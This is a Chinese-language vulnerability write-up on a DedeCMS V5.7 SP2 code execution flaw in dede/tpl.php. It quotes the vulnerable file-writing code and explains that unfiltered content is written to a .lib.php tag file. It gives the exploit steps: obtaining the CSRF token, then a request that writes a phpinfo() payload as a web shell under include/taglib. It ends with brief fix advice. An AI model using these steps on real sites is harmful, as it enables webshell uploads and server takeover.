1. 程式人生 > 實用技巧 >20200904-DedeCMSv5.7SP2程式碼執行漏洞

20200904-DedeCMSv5.7SP2程式碼執行漏洞

*本文中涉及到的相關漏洞已報送廠商並得到修復,本文僅限技術研究與討論,嚴禁用於非法用途,否則產生的一切後果自行承擔。

簡介

織夢內容管理系統(DedeCms)是一款PHP開源網站管理系統。

DedeCMS V5.7 SP2版本中tpl.php存在程式碼執行漏洞,攻擊者可利用該漏洞在增加新的標籤中上傳木馬,獲取webshell。筆者是2018年2月28日在官網下載的DedeCMS V5.7 SP2版本程式,截至發稿,漏洞依然存在。

漏洞詳情

織夢預設的後臺地址是/dede/,當然也可以被更改,到時候根據網站具體情況替換預設後臺地址即可。

dede/tpl.php中第251行到281行

csrf_check();

if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))

{

  ShowMsg('檔名不合法,不允許進行操作!', '-1');

  exit();

}

require_once(DEDEINC.'/oxwindow.class.php');

$tagname = preg_replace("#\.lib\.php$#i", "", $filename);

$content = stripslashes($content);

$truefile = DEDEINC.'/taglib/'.$filename;

$fp = fopen($truefile, 'w');

fwrite($fp, $content);

fclose($fp);

1.由於dedecms全域性變數註冊的特性,所以這裡的content變數和filename變數可控。

2.可以看到將content直接寫入到檔案中導致可以getshell。但是這裡的檔名經過正則表示式,所以必須要.lib.php結尾。

注意: 這裡還有一個csrf_check()函式,即請求中必須要帶token引數。

漏洞利用

1.首先獲取token 訪問 域名 + /dede/tpl.php?action=upload。在頁面原始碼中獲取到token值

然後訪問

域名 + /dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[你的token值

shell:

域名 + /include/taglib/moonsec.lib.php

漏洞修復

1.禁止此處寫入檔案。

2.過濾惡意標籤

參考連結

http://www.cnvd.org.cn/flaw/show/CNVD-2018-01221